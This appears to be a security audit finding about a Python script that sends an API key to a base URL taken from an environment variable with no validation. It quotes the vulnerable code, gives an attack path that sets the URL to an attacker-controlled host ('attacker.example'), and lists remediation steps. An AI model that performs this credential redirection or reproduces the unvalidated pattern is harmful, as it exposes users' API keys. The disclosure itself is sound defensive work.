T09 · Insecure Skill Coding Practices
- Location
scripts/ai_hive_hotspot.py:25- Finding
API Key Disclosure Through an Unvalidated Configurable API Endpoint
- Content
View full analysis
Vulnerability Details
File Location:
scripts/ai_hive_hotspot.py, lines 25–29
Vulnerability Type: Credential disclosure through an unvalidated destination URL
Risk Level: MediumVulnerable Code
python base = os.environ.get("AI_HIVE_BASE_URL", DEFAULT_BASE).rstrip("/") url = f"{base}/openapi/v1/models" if args.type: url += "?" + urllib.parse.urlencode({"modelType": args.type}) req = urllib.request.Request(url, headers={"Authorization": f"Bearer {key}", "Accept": "application/json"})Technical Analysis
The
modelscommand obtains the sensitiveAI_HIVE_API_KEYcredential from the process environment. It also permits the service endpoint to be replaced through theAI_HIVE_BASE_URLenvironment variable.The replacement URL is not validated before the request is created. In particular, the implementation does not:
- Require HTTPS.
- Restrict the hostname to a trusted AI-HIVE domain.
- reject URLs containing user-information or unusual ports.
- Validate redirect destinations before transmitting or retransmitting credentials.
The script unconditionally attaches the API key as an
Authorization: Bearerheader to the resulting request. Consequently, an attacker who can influenceAI_HIVE_BASE_URLcan direct the credential-bearing request to an attacker-controlled web server. An HTTP endpoint could additionally expose the credential to network observers.This is not remote payload execution: the response is parsed as JSON and displayed rather than executed. The confirmed security issue is the potential disclosure of an API credential.
Attack Path
- A user or automation environment has a valid
AI_HIVE_API_KEY. - An attacker influences the command's environment, launcher configuration, CI variables, shell profile, or wrapper and sets:
bash AI_HIVE_BASE_URL="https://attacker.example" - The user invokes:
bash python3 scripts/ai_hive_ho
...[truncated 892 chars]
- Remediation
View remediation
Remediation Suggestions
- Remove the
AI_HIVE_BASE_URLoverride if custom endpoints are not a required feature. - If endpoint configuration is required, parse the URL with
urllib.parse.urlsplitand enforce:- Scheme exactly equal to
https. - A hostname from an explicit allowlist, such as
ai-hive.iclip.cn. - An expected port, or no explicitly specified port.
- No embedded username or password.
- An expected path prefix.
- Scheme exactly equal to
- Reject malformed URLs and non-HTTPS schemes before constructing the request.
- Disable automatic redirects for authenticated requests, or validate every redirect destination against the same scheme and hostname allowlist before forwarding the Authorization header.
- Avoid sending credentials to hosts selected solely through inherited environment variables. Use trusted configuration with restricted permissions where endpoint customization is necessary.
- Scope API keys to the minimum required permissions and apply usage limits, expiration, rotation, and anomaly monitoring.
- Add tests proving that HTTP URLs, unapproved domains, unusual ports, embedded credentials, and cross-origin redirects are rejected.
- Revoke and rotate any API key suspected of having been used while
AI_HIVE_BASE_URLpointed to an untrusted destination.
- Remove the
